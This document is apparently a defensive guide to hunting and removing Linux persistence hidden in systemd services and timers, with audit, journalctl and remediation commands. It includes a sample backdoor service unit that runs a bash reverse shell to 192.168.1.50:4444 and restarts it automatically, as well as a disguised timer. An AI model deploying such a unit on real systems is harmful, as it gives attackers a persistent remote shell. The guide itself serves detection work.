Investigating Linux Persistence via Systemd Services and Timers

Beyond Cron: The Rise of Systemd Persistence

When threat hunters and system administrators audit a compromised Linux host for persistence, scheduled tasks in crontab are often the first place they look. While attackers still use cron jobs, modern Linux distributions rely heavily on systemd as their primary init system and service manager. As a result, attackers have shifted toward systemd services and timers to maintain long-term, resilient access to compromised hosts.

Systemd persistence offers distinct advantages to an adversary. Services can automatically restart if killed, run stealthily in the background with elevated privileges, and execute payloads on specific events or time intervals. Systemd timers provide sub-second execution accuracy, detailed logging evasion options, and better stealth than legacy cron infrastructure.

In this guide, we will break down how adversaries leverage systemd services and timers for persistence, step through manual investigation techniques, and write shell commands to hunt down hidden backdoors across your server fleet.

Understanding Systemd Service and Timer Architecture

To spot anomalies, you must first understand where systemd looks for unit configurations and how services and timers interact.

Systemd units are text files with specific extensions such as .service or .timer. They reside in standard directories across the system, prioritized by scope:

System-wide configuration directories:

• /etc/systemd/system/ : Custom or system administrator units (highest system priority).
• /run/systemd/system/ : Runtime units created dynamically at boot or during execution.
• /lib/systemd/system/ or /usr/lib/systemd/system/ : Units installed by distribution packages (lowest system priority).

User-level configuration directories:

• ~/.config/systemd/user/ : User-specific units created by local accounts.
• /etc/systemd/user/ : System-wide user units applied to all logged-in sessions.

Attackers frequently deploy malicious services to /etc/systemd/system/ when they possess root access. If they only hold low-privileged access, they often establish persistence within user directories like ~/.config/systemd/user/ using lingering user sessions.

Dissecting Malicious Systemd Services

A malicious service unit file is remarkably easy to construct. Consider the following example of a backdoored service designed to maintain a reverse shell:

[Unit]
Description=System Telemetry Refresh Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'
Restart=always
RestartSec=10
User=root

[Install]
WantedBy=multi-user.target

Let us analyze the tactical elements in this file:

• Description: Blends in with legitimate system maintenance jargon.
• ExecStart: Executes an inline bash reverse shell payload or points to a hidden script in /tmp or /var/tmp.
• Restart=always: Ensures that if an analyst terminates the process, systemd immediately respawns the reverse shell after 10 seconds.
• WantedBy=multi-user.target: Hooks execution into the standard multi-user boot process.

Stealthy Persistence with Systemd Timers

While services run continuously, systemd timers act as scheduled triggers. A timer unit (.timer) works in tandem with a matching service unit (.service). When the timer triggers, systemd executes the associated service.

An attacker might create a timer named sys-update.timer:

[Unit]
Description=Periodic Security Maintenance Timer

[Timer]
OnBootSec=5min
OnUnitActiveSec=1h
Unit=sys-update.service

[Install]
WantedBy=timers.target

Pairing this with a service unit named sys-update.service allows the payload to trigger 5 minutes after system boot and repeat every hour. Because the main service process terminates after running, process monitoring tools that only snapshot active processes may miss the payload between execution intervals.

Step-by-Step Threat Hunting and Investigation

When investigating a suspected machine, systematically audit services, timers, unit files, and execution logs.

1. Auditing Active and Failed Systemd Services

Start by reviewing all running services and checking for suspicious display names or unexpected paths:

systemctl list-units --type=service --state=running

Next, list all installed unit files to identify services configured to launch at boot:

systemctl list-unit-files --type=service --state=enabled

Look for newly created units or services pointing to non-standard paths like /tmp, /var/tmp, /dev/shm, or hidden directories in /home/.

2. Inspecting Active Timers

To inspect all scheduled systemd timers across the system:

systemctl list-timers --all

Analyze the output columns:

• NEXT: When the timer is scheduled to run next.
• LEFT: Time remaining until execution.
• LAST: Timestamp of the last execution.
• PASSED: Time elapsed since last run.
• UNIT: The active timer unit.
• ACTIVATES: The corresponding service unit that gets executed.

Flag any timer that triggers frequently or calls unusual service names.

3. Reviewing User-Level Units

Standard privilege escalation and persistence audits often overlook unprivileged user persistence. Check running services and timers for current and logged-in users:

systemctl --user list-unit-files
systemctl --user list-timers --all

In addition, inspect the filesystem directly across all home directories:

ls -la /home/*/.config/systemd/user/ 2>/dev/null
ls -la /root/.config/systemd/user/ 2>/dev/null

If lingering is enabled for an unprivileged user (via loginctl enable-linger username), their user-level systemd units will execute at boot even without an active SSH session. Check lingering status with:

ls -la /var/lib/systemd/linger/

4. Hunting Filesystem Modifications

Cross-reference systemd unit directories by sorting files by modification time:

find /etc/systemd/system /lib/systemd/system -type f -printf '%T@ %p

’ | sort -n

This command outputs unit files ordered by epoch timestamp, revealing recently added or modified files at the bottom of the output.

5. Analyzing Execution History with Journalctl

Systemd logs service execution to the journald binary log. Search execution logs for specific unit names or suspicious process starts:

journalctl -u sys-update.service --no-pager

To review all systemd unit start events during a specific timeframe:

journalctl --since '2026-10-01' --grep 'Started' --no-pager

Remediation and Neutralization

Once a malicious systemd service or timer is identified, follow these steps to neutralize and eradicate the persistent entry:

Step 1: Stop the active service and timer immediately:

sudo systemctl stop suspicious-service.service
sudo systemctl stop suspicious-service.timer

Step 2: Disable the units to prevent automatic startup on boot:

sudo systemctl disable suspicious-service.service
sudo systemctl disable suspicious-service.timer

Step 3: Mask the unit. Masking links the unit file to /dev/null, preventing systemd from starting it manually or via dependencies:

sudo systemctl mask suspicious-service.service

Step 4: Remove the unit files from disk and reload the systemd daemon:

sudo rm /etc/systemd/system/suspicious-service.service
sudo rm /etc/systemd/system/suspicious-service.timer
sudo systemctl daemon-reload
sudo systemctl reset-failed

Hardening Recommendations

To limit the attack surface of systemd-based persistence:

• Implement File Integrity Monitoring (FIM): Monitor /etc/systemd/system/ and /etc/systemd/user/ for unauthorized file creation or changes using tools like Samhain, OSSEC, or Auditd.

• Restrict Lingering: Disable user lingering unless specifically required by application service accounts.

• Audit Auditd Logs: Set up auditd rules to monitor systemd directory write operations. For example:

  -w /etc/systemd/system/ -p wa -k systemd_modification

• Practice Least Privilege: Restrict root access and sudo privileges to prevent unauthorized creation of system-wide services.

Conclusion

Systemd services and timers provide attackers with robust, flexible persistence mechanisms that easily bypass superficial cron checks. By understanding systemd architecture, regularly auditing user and system units, monitoring filesystem creation dates, and leveraging journalctl for forensic logs, security practitioners can rapidly discover and eliminate covert Linux backdoors.

Photo by Patrick Martin on Unsplash.